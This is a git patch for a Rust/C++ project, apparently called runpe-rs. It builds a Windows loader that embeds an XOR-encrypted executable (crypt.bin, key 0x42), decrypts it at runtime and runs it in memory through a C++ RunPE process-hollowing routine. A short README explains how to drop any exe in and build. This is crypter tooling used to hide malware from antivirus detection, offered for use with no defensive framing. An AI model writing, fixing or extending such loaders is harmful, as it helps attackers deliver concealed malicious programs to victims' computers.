From af1160fcae4be9c04c05d18f5f6e64f5d46d2df0 Mon Sep 17 00:00:00 2001 From: minco Date: Tue, 22 Jul 2025 00:26:22 +0900 Subject: [PATCH] fdsd --- .cargo/config.toml | 3 +++ README.md | 10 ++++++++++ cpp/run_pe.cpp | 4 +++- src/main.rs | 8 ++++---- src/runpe.rs | 6 +++--- 5 files changed, 23 insertions(+), 8 deletions(-) create mode 100644 .cargo/config.toml create mode 100644 README.md diff --git a/.cargo/config.toml b/.cargo/config.toml new file mode 100644 index 0000000..5198f3a --- /dev/null +++ b/.cargo/config.toml @@ -0,0 +1,3 @@ +[build] +rustflags = ["-C", "linker=g++"] +target = "i686-pc-windows-gnu" diff --git a/README.md b/README.md new file mode 100644 index 0000000..7db26e7 --- /dev/null +++ b/README.md @@ -0,0 +1,10 @@ +# runpe-rs + +## Requirements +- Mingw32 gcc/g++ (`g++` in PATH) +- Rust target `i686-pc-windows-gnu` + +## Usage +1. put exe to `exe/s.exe` +2. `cargo build --release` +3. voila! diff --git a/cpp/run_pe.cpp b/cpp/run_pe.cpp index 1c028a6..93aa8e9 100644 --- a/cpp/run_pe.cpp +++ b/cpp/run_pe.cpp @@ -1,4 +1,5 @@ -#include // Standard C++ library for console I/O +#include +#include #include // Standard C++ Library for string manip #include // WinAPI Header @@ -90,4 +91,5 @@ extern "C" int RunPortableExecutable(void* Image) } } } + return 0; } diff --git a/src/main.rs b/src/main.rs index 67146a8..6a00101 100644 --- a/src/main.rs +++ b/src/main.rs @@ -8,11 +8,11 @@ fn xor_crypt(input: &mut [u8], key: u8) { } } -static BYTES: &[u8] = include_bytes!("crypt.bin"); +static BYTES: &[u8] = include_bytes!("../crypt.bin"); fn main() { - let mut bytes = BYTES.clone(); - xor_crypt(&mut bytes, 0x42); + let mut bytes = BYTES.to_vec(); + xor_crypt(bytes.as_mut_slice(), 0x42); - run_portable_executable(bytes).unwrap(); + run_portable_executable(bytes.as_slice()).unwrap(); } diff --git a/src/runpe.rs b/src/runpe.rs index 3874eac..b718fd3 100644 --- a/src/runpe.rs +++ b/src/runpe.rs @@ -1,5 +1,5 @@ -extern "C" { - fn RunPortableExecutable(Image: *mut std::ffi::c_void) -> i32; +unsafe extern "C" { + unsafe fn RunPortableExecutable(Image: *mut std::ffi::c_void) -> i32; } pub fn run_portable_executable(image: &[u8]) -> Result { @@ -7,7 +7,7 @@ pub fn run_portable_executable(image: &[u8]) -> Result { return Err("Empty byte slice passed"); } - let ptr = image.as_ptr() as *mut c_void; + let ptr = image.as_ptr() as *mut std::ffi::c_void; let result = unsafe { RunPortableExecutable(ptr) };